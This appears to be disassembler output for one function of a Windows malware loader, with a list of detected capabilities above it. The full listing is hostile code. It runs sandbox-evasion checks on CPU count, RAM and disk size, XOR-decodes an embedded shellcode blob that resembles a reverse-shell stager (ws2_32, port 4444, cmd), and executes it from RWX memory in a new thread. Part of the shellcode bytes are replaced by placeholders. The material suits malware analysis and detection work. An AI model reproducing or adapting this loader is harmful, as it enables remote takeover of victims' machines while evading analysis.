Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
lea rcx, [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x4e0], 2
jb 0x1400012cd
lea rcx, [rsp + 0x480]
mov dword [rsp + 0x480], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x488]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400012cd
xor edi, edi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x460]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x468]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x478]
mov eax, dword [rsp + 0x47c]
imul rax, rcx
mov ecx, dword [rsp + 0x474]
imul rax, rcx
imul rax, qword [rsp + 0x468]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x1400012cd
mov qword [rsp + 0x510], rbx
lea rcx, [rsp + 0x40]
mov ebx, 8
lea rax, str.FC_E8_82_00_00_00_60_89_E5_31_C0_64_8B_50_30_8B_52_0C_8B_52_14_8B_72_28_0F_B7_4A_26_31_FF_AC_3C_61_7C_02_2C_20_C1_CF_0D_01_C7_E2_F2_52_57_8B_52_10_8B_4A_3C_8B_4C_11_78_E3_48_01_D1_51_8B_59_20_01_D3_8B_49_18_E3_3A_49_8B_34_8B_01_D6_31_FF_AC_C1_CF_0D_01_C7_38_E0_75_F6_03_7D_F8_3B_7D_24_75_E4_58_8B_58_24_01_D3_66_8B_0C_4B_8B_58_1C_01_D3_8B_04_8B_01_D0_89_44_24_24_5B_5B_61_59_5A_51_FF_E0_5F_5F_5A_8B_12_EB_8D_5D_68_33_32_00_00_68_77_73_32_5F_54_68_4C_77_26_07_FF_D5_B8_90_01_00_00_29_C4_54_50_68_29_80_6B_00_FF_D5_6A_08_59_50_E2_FD_40_50_40_50_68_EA_0F_DF_E0_FF_D5_97_68_02_00_11_5C_89_E6_6A_10_56_57_68_C2_DB_37_67_FF_D5_57_68_B7_E9_38_FF_FF_D5_57_68_74_EC_3B_E1_FF_D5_57_97_68_75_6E_4D_61_FF_D5_68_63_6D_64_00_89_E3_57_57_57_31_F6_6A_12_59_56_E2_FD_66_C7_44_24_3C_01_01_8D_44_24_10_C6_00_44_54_50_56_56_56_46_56_4E_56_56_53_56_68_79_CC_3F_86_FF_D5_89_E0_4E_56_46_FF_30_68_08_87_1D_60_FF_D5_BB_F0_B5_A2_56_68_A6_95_BD_9D_FF_D5_3C_06_7C_0A_80_FB_E0_75_05_BB_47_13_72_6F_6A_00_53_FF_D5_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ_ZZ
mov edx, ebx
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001130
movups xmm0, xmmword [rax]
movzx eax, byte [rax + 0x10]
mov edx, 0x411
mov r8d, 0x3000
movups xmmword [rcx], xmm0
mov byte [rcx + 0x10], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rcx, [rsp + 0x40]
mov rdx, rax
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x1400011b2
movzx eax, byte [rcx + 0x10]
movups xmm0, xmmword [rcx]
mov rbx, qword [rsp + 0x510]
mov ecx, edi
movdqa xmm2, xmmword [str.5555555555555555_]
movups xmmword [rdx], xmm0
mov byte [rdx + 0x10], al
lea rax, [r8 + 0x20]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x40], xmm0
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
cmp ecx, 0x400
jb 0x140001230
movsxd rax, ecx
cmp rax, 0x411
jae 0x1400012a1
add rax, r8
nop word [rax + rax]
xor byte [rax], 0x35
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x411
jb 0x140001290
lea rax, [rsp + 0x464]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.140001300
add rsp, 0x500
pop rdi
ret